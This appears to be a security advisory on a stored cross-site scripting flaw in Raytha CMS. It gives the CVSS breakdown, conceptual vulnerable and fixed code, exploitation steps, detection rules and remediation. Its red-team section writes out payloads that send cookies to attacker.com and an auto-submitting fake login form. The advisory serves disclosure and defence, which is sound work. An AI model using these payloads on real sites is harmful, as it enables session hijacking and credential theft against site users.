CVE-2025-69237

Executive Summary

CVE-2025-69237 is a Stored Cross-Site Scripting (XSS) vulnerability in Raytha CMS, a content management system. An authenticated attacker with content creation permissions can inject arbitrary HTML and JavaScript via the FieldValues[0].Value parameter during page creation. This malicious script is stored on the server and executed in the browsers of any users visiting the affected page. The vulnerability is fixed in version 1.4.6. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium.

Supply Chain & Package Security

Raytha CMS is a .NET-based application. The vulnerability is in the application's own code, not in a third-party package. However, organizations should ensure they are using the latest patched version (1.4.6) and verify the integrity of their deployment.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs to be authenticated with content creation permissions.
• User Interaction (UI): Required (R) - A user must visit the malicious page for the script to execute.
• Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the risk, but the stored nature of the XSS makes it persistent and dangerous for all users of the CMS.

Deep Dive & Mechanics

The vulnerability exists in the page creation functionality of Raytha CMS. When an authenticated user creates a new page, the application accepts input from the FieldValues[0].Value parameter. This parameter is intended for custom field values. However, the application fails to properly sanitize or encode this input before storing it in the database and later rendering it on the page.

When a user visits the edited page, the stored malicious HTML/JavaScript is rendered by the browser, leading to XSS. The attack flow is:

1. Authentication: The attacker logs in with an account that has permissions to create or edit content.
2. Crafting Payload: The attacker crafts a malicious payload, such as <script>alert('XSS')</script>, and injects it into the FieldValues[0].Value parameter.
3. Submission: The attacker submits the page creation/editing request.
4. Storage: The server stores the malicious payload in the database without proper sanitization.
5. Execution: Any user (including administrators) who visits the compromised page will have the script executed in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly outputs the FieldValues[0].Value without encoding.

// Vulnerable: Direct output without encoding
@Html.Raw(Model.FieldValues[0].Value)

Patched Code (Conceptual): The patched code uses HTML encoding to neutralize the script.

// Patched: HTML encode the output
@Html.Encode(Model.FieldValues[0].Value)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Raytha CMS instance (version < 1.4.6).
• An authenticated account with content creation permissions.

Exploitation Steps:

1. Login: Authenticate to the Raytha CMS admin panel.
2. Navigate to Page Creation: Go to the page creation or editing section.
3. Inject Payload: In the FieldValues[0].Value parameter, inject a malicious payload. For example:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit: Save the page.
5. Trigger: Visit the newly created page. The script will execute, sending the user's cookies to the attacker's server.

Example Payloads:

• Cookie Stealer:

  <script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
  

• Phishing Form:

  <form action="https://attacker.com/login" method="POST">
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" value="Login">
  </form>
  <script>document.forms[0].submit();</script>
  

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual FieldValues[0].Value parameters in HTTP requests.
• Look for <script>, <img>, <iframe>, or other HTML tags in page creation requests.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Defense:

• Immediate: Upgrade to Raytha CMS version 1.4.6 or later.
• Mitigation: If upgrade is not possible, implement a WAF rule to block XSS payloads in the FieldValues[0].Value parameter.
• Code Review: Ensure all user inputs are properly sanitized and encoded before rendering.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /admin/pages/create or similar endpoints with FieldValues[0].Value containing <script> tags.
  • Outbound connections to unknown or suspicious domains from the CMS server.
• Host IOCs:
  • Presence of unexpected JavaScript code in the database, specifically in the FieldValues table.
  • Modified page content containing <script>, <iframe>, or other HTML tags.
• File IOCs:
  • Log entries showing unusual characters in the FieldValues[0].Value parameter.

Detection Engineering

YARA Rule

rule CVE_2025_69237_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Raytha CMS FieldValues"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69237"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+["']?/si
        $xss_iframe = /<iframe[^>]*src\s*=\s*["']?javascript:/si
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-69237 - Stored XSS in Raytha CMS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in Raytha CMS via FieldValues[0].Value
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/pages/create'
        cs-uri-query|contains: 'FieldValues[0].Value'
        cs-uri-query|re: '(<script|<iframe|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in custom fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69237 - Stored XSS in Raytha CMS"; flow:to_server,established; content:"POST"; http_method; content:"/admin/pages/create"; http_uri; content:"FieldValues[0].Value"; http_client_body; pcre:"/(<script|<iframe|on\w+=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade Raytha CMS to version 1.4.6 or later immediately.
2. Patch: Apply the official patch from the Raytha CMS repository.

Long-Term Mitigations:

1. Input Validation: Implement strict input validation for all user-supplied data.
2. Output Encoding: Use context-aware output encoding (e.g., HTML encoding, JavaScript encoding) for all dynamic content.
3. Content Security Policy (CSP): Implement a strict CSP to limit the execution of inline scripts.
4. Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads.
5. Regular Security Audits: Conduct regular code reviews and penetration testing.

Valters IT